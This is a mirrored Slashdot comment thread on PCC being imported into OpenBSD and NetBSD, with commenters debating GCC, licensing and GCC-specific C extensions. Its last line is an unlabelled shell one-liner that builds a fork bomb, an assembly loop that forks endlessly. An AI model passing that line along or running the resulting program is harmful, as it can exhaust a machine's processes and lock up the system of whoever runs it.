Slashdot Mirror
GCC Compiler Finally Supplanted by PCC?
Sunnz writes "The leaner, lighter, faster, and most importantly, BSD Licensed, Compiler PCC has been imported into OpenBSD's CVS and NetBSD's pkgsrc. The compiler is based on the original Portable C Compiler by S. C. Johnson, written in the late 70's. Even though much of the compiler has been rewritten, some of the basics still remain. It is currently not bug-free, but it compiles on x86 platform, and work is being done on it to take on GCC's job."
OK, so it compiles C on x86. What do I use when I want to compile objective C on my microwave?
Someone relicense it under the GPL!
call me when pcc does something useful, like, say, working.
Your argument holds no water. If that were the case, one could make the same arguments about operating systems. Why bother developing Linux in an attempt to "keep up with the Jones'" when Windows already exists.
I'm just sayin'...
You just restated point #2.
"[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz
Please. I think RMS would prefer, GNU/NetBSD != GNU/Linux. Obey the beard!
And he continues to write code in C...why?
> It's like that phony debate between "great taste" and "more filling"
That's "tastes great" and "LESS filling". Clearly you're trying to push a "tastes great" agenda by deliberately misrepresenting the opposing viewpoint. Typical tactics for the tasteistas.
(imagine Daffy Duck saying all that)
Done with slashdot, done with nerds, getting a life.
Then the answer is no. I may be alone in the world but I'm perfectly happy with the gcc compiler and have been for years. It does what its supposed to, It is FREE, It is crossplatform (MingW), and it annoys the BSD guys.
Clear Winner. GCC
It has been pointed out here, that people who choose a compiler based on its license are idiots. Well if I'm working on windows I use MingW specifically because of its license. If I'm working in Linux and I usually am, I choose GPL above all others. Count me as an Idiot if you like, But you can shove the alternatives. I know what I am getting and have a reasonable expectation what is coming in the future, and if I need to modify it (Heaven Forbid) I can. BSD is a fine license for people who NEED it. I don't. When given the choice I choose GPL. GCC Slower, maybe so. Code works and I get paid. If it takes 3 hrs for QT to compile. I bill for 3Hrs.
Sorry but, I'm a pragmatist in all things except freedom. I've been burned enough. (Admittedly, I've personally never been burned by BSD code, unless you count Windows.)
OSGGFG - Open Source Gamers Guide to Free Games
Think about it. Getting a new compiler into free UNIX and the open source community is going to be as hard as getting a new platform on the desktop to compete with Windows. And for similar reasons.
You're not going to supplant GCC until you get all the code that depends on GCC-specific features modified to be standard portable C. That's a barrier to entry as steep as Microsoft's application barrier to entry. Now it's not as bad as it was in the early '90s when GCC was sprouting new C extensions everywhere (like the ability to have declarations not at the start of blocks, or the ability to leave the second element out of the trinary conditional operator, or things like alloca), and a lot of those features have now become common and even standardized (and others, like the shortcut trinary, have been deprecated). But it's not as easy as just having a good compiler, or even a good language translating ecosystem like Tendra... the playing field is anything but level.
And he continues to write code in C...why?
Because maintaining a secure system written in C requires paranoia, obsessive concentration on small details and merciless flaming of n00bs when they screw up.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;